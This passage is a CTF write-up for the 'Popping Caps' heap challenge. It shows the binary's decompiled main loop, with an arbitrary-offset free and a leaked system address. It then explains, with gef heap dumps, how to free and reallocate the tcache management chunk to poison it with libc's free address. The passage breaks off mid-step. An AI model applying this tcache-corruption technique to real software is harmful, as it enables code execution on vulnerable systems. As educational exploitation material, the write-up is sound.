# Popping Caps 1

For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.

## Reversing

Taking a look at the main function, we see a lot of similarities:

```
undefined8 main(void)

{
  ulong choice;
  size_t size;
  long freeOffset;
  long lives;
  void *ptr;
  void *ptrCpy;
 
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Here is system %p\n",system);
  lives = 7;
  ptr = (void *)0x0;
  ptrCpy = (void *)0x0;
  while (lives != 0) {
    printf("You have %llu caps!\n",lives);
    puts("[1] Malloc");
    puts("[2] Free");
    puts("[3] Write");
    puts("[4] Bye");
    puts("Your choice: ");
    choice = read_num();
    if (choice == 2) {
      puts("Whats in a free: ");
      freeOffset = read_num();
      free((void *)((long)ptr + freeOffset));
      if (ptr == ptrCpy) {
        ptrCpy = (void *)0x0;
      }
    }
    else {
      if (choice < 3) {
        if (choice == 1) {
          puts("How many: ");
          size = read_num();
          ptr = malloc(size);
          ptrCpy = ptr;
        }
      }
      else {
        if (choice == 3) {
          puts("Read me in: ");
          read(0,ptrCpy,0xff);
        }
        else {
          if (choice == 4) {
            bye();
          }
        }
      }
    }
    puts("BANG!");
    lives = lives + -1;
  }
  bye();
  return 0;
}
```

So some differences we noticed from the first problem, we can scan in `0xff` bytes instead of `0x8` bytes. Also we notice that the `bye` function doesn't have the `malloc` call in it:

```
void bye(void)

{
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we have to do this without a malloc at the end. Our previous attack won't work anymore.

## Exploit

For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:

```
gef➤  x/100g 0x[PII_REDACTED]223000
0x[PII_REDACTED]00:    0x0    0x251
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x21
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x20d91
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
```

Proceeding that, we will free the tcache idx block:

```
gef➤  x/100g 0x[PII_REDACTED]223000
0x[PII_REDACTED]00:    0x0    0x251
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x1000000    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x[PII_REDACTED]10
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x21
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x20d91
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
```

As you can see, that chunk is in the tcache. Next we will allocate it:
```
gef➤  x/100g 0x[PII_REDACTED]223000
0x[PII_REDACTED]00:    0x0    0x251
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x0
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x0
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
0x[PII_REDACTED]20:    0x0    0x0
0x[PII_REDACTED]30:    0x0    0x0
0x[PII_REDACTED]40:    0x0    0x0
0x[PII_REDACTED]50:    0x0    0x21
0x[PII_REDACTED]60:    0x0    0x0
0x[PII_REDACTED]70:    0x0    0x20d91
0x[PII_REDACTED]80:    0x0    0x0
0x[PII_REDACTED]90:    0x0    0x0
0x[PII_REDACTED]a0:    0x0    0x0
0x[PII_REDACTED]b0:    0x0    0x0
0x[PII_REDACTED]c0:    0x0    0x0
0x[PII_REDACTED]d0:    0x0    0x0
0x[PII_REDACTED]e0:    0x0    0x0
0x[PII_REDACTED]f0:    0x0    0x0
0x[PII_REDACTED]00:    0x0    0x0
0x[PII_REDACTED]10:    0x0    0x0
```

Now `ptrCopy` is set equal to `0x[PII_REDACTED]10`. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of `free` (which we know from the earlier infoleak), and also set the idx coun